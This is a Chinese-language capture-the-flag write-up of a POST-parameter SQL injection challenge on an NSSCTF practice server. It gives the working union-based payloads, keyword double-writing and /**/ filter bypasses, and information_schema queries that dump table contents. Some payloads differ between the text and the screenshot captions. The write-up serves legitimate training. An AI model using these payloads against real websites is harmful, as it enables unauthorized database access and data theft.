

年轻的Web手啊！
看题目名就知道你该干嘛了吧~
用相对安全的方式传参吧
奥对了参数是nss



No System is Safe

1.看题目名可以知道考SQL注入，相对安全的方式那就是POST注入了，参数为nss

先传个1，flag直接就出来了（当然不是正确的）

Flag: NSSCTF{This_1s_F4ke_flag}

This is true flag: NSSCTF{Ar3_y0u_K1ngd1ng}

The screenshot shows a web-based penetration testing interface. At the top, there's a navigation bar with various tabs like '查看器', '控制台', '调试器', etc. Below the navigation bar, there's a toolbar with buttons for 'LOAD', 'SPLIT', 'EXECUTE', 'TEST', 'SQLI', 'XSS', 'LFI', 'SSRF', 'SSTI', 'SHELL', and 'ENCODING'. The main area has a 'URL' input field containing 'http://node5.anna.nssctf.cn:29265/'. Underneath the URL, there are several configuration fields: a 'Body' field containing 'nss=1', a 'Method' dropdown set to 'POST', an 'enctype' dropdown set to 'application/x-www-form-urlencoded', and a 'MODIFY HEADER' button. To the right, there's a 'Name' dropdown with 'Host' selected.

2.测试闭合为单引号，过滤了注释符号"--"，但是可以用#

Flag: NSSCTF{This_1s_F4ke_flag}

This is true flag: NSSCTF{Ar3_y0u}

The screenshot shows a web-based penetration testing tool. At the top, there's a navigation bar with tabs like '查看器' (Viewer), '控制台' (Console), '调试器' (Debugger), '网络' (Network), '样式编辑器' (Style Editor), '性能' (Performance), '内存' (Memory), '存储' (Storage), and '无障碍环境' (Accessibility). Below the navigation bar, there are several dropdown menus: 'LOAD', 'SPLIT', 'EXECUTE', 'TEST', 'SQLI', 'XSS', 'LFI', 'SSRF'. The 'SQLI' menu is currently active. A URL field contains 'http://node5.anna.nssctf.cn:29265/'. Under the 'Body' section, there's a toggle switch for 'Use POST method' which is turned on, and an 'enctype' dropdown set to 'application/x-www-form-urlencoded'. The body of the POST request contains the payload 'nss=1 '#'.

3.在查看列的时候可以看到or和空格都被去除了

The screenshot shows a response from the server. It displays an error message: 'You have an error in your SQL syntax; check the manual that version for the right syntax to use near 'derby3#' LIMIT 0,1' a'. This indicates that the 'order by' clause was removed or modified.

The screenshot shows the same interface as before, but with a 'MODIFY HEADER' button visible. In the 'Body' section, the payload now includes 'order by 3#'. To the right, there's a 'MODIFY HEADER' section with two checkboxes: 'Name' and 'Host', both of which are checked.

or可以采用双写绕过，空格可以用/**/来代替，也可以用()进行绕过

Flag: NSSCTF{This_1s_F4ke_flag}

This is true flag: NSSCTF{Ar3_y0u_E}

查看器 控制台 调试器 网络 样式编辑器 性能 内存 存储 无障碍环境

LOAD SPLIT EXECUTE TEST SQLI XSS LFI SSRF SST

URL
`http://node5.anna.nssctf.cn:29265/`

enctype
application/x-www-form-urlencoded

Body
`nss=1'oorrder/**/by(3)#[`

可以知道一共有三列

Unknown column '4' in 'order clause'

查看器 控制台 调试器 网络 样式编辑器 性能 内存 存储 无障碍环境

LOAD SPLIT EXECUTE TEST SQLI XSS LFI SSRF

URL
`http://node5.anna.nssctf.cn:29265/`

enctype
application/x-www-form-urlencoded

Body
`nss=1'oorrder/**/by(4)#[`

4.在测回显位时可以看到union也被去除了，同样可以采用双写绕过

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select/**/1,2,3#' LIMIT 0,1' at line 1

The screenshot shows the HackBar interface with various tabs like LOAD, SPLIT, EXECUTE, TEST, etc. The URL is set to `http://node5.anna.nssctf.cn:29265/`. The body contains the payload `nss=1'union/**/select/**/1,2,3#`. The enctype is set to `application/x-www-form-urlencoded`. The 'Host' header is checked. The 'MODIFY HEADER' button is visible.

Flag: NSSCTF{This_1s_F4ke_flag}

This is true flag: NSSCTF{Ar3_y0u_K1ngd1ng}

The screenshot shows the HackBar interface with various tabs like LOAD, SPLIT, EXECUTE, TEST, etc. The URL is set to `http://node5.anna.nssctf.cn:29265/`. The body contains the payload `nss=1'ununionion/**/select/**/1,2,3#`. The enctype is set to `application/x-www-form-urlencoded`. The 'Host' header is checked. The 'MODIFY HEADER' button is visible.

这一样不能看回显位，把1去掉，可以知道2和3的位置为回显位

Flag: 2

This is true flag: 3

The screenshot shows the HackBar interface with various tabs like LOAD, SPLIT, EXECUTE, TEST, etc. The URL is set to `http://node5.anna.nssctf.cn:29265/`. The body contains the payload `nss='ununionion/**/select/**/1,2,3#`. The enctype is set to `application/x-www-form-urlencoded`.

5.接下来查表

```
nss='ununion/**/select/**/1,group_concat(table_name)from/**/information_schema.tables/**/where/**/database()=table_schema#
```

Flag: NSS_db

This is true flag: NSS_tb,users

The screenshot shows a web-based penetration testing tool interface. At the top, there's a navigation bar with icons for '查看器' (Viewer), '控制台' (Console), '调试器' (Debugger), '网络' (Network), '样式编辑器' (Style Editor), '性能' (Performance), '内存' (Memory), '存储' (Storage), and '无障碍环境' (Accessibility). Below the navigation bar is a menu bar with dropdowns for 'LOAD', 'SPLIT', 'EXECUTE', 'TEST', 'SQLI', 'XSS', 'LFI', 'SSRF', and 'S'. The main area has sections for 'URL' (containing `http://node5.anna.nssctf.cn:29265/`), 'enctype' (set to `application/x-www-form-urlencoded`), 'Body' (containing the payload `nss='ununion/**/select/**/1,group_concat(table_name)from/**/information_schema.tables/**/where/**/database()=table_schema#`), and other configuration options.

6.查列，and也被去除了，一样可以用双写绕过，用and可以帮我们查到我们想要查的表的列，不用也可以看出来

```
nss='ununion/**/select/**/1,group_concat(column_name)from/**/information_schema.columns/**/where/**/database()=table_schema/**/anadd/**/table_name='NSS_tb'#
```

Flag: NSS_db

This is true flag: id,Secr3t,flll444g

The screenshot shows the HackRecon interface with the following details:

- URL:** `http://node5.anna.nssctf.cn:29265/`
- Method:** POST (selected)
- Content-Type:** application/x-www-form-urlencoded
- Body:**

```
nss='ununionion/**/select/**/1, database(), group_concat(column_name) from/**/
infoorrmation_schema.columns/**/where/**/database()=table_schema/
**/anandd/**/table_name='NSS_tb'#'
```

7.得到flag

```
nss='ununionion/**/select/**/1, database(), group_concat(id,Secr3t,flll444g)from/**/
/NSS_tb#'
```

The screenshot shows the HackRecon interface with the following details:

- URL:** `http://node5.anna.nssctf.cn:29265/`
- Method:** POST (selected)
- Content-Type:** application/x-www-form-urlencoded
- Body:**

```
nss='ununionion/**/select/**/1, database(), group_concat(id,Secr3t,flll444g)from/**/NSS_tb#'
```
- Headers:** A "MODIFY HEADER" section is present with a checked "Host" checkbox and a value of "node5.anna.nssctf.cn".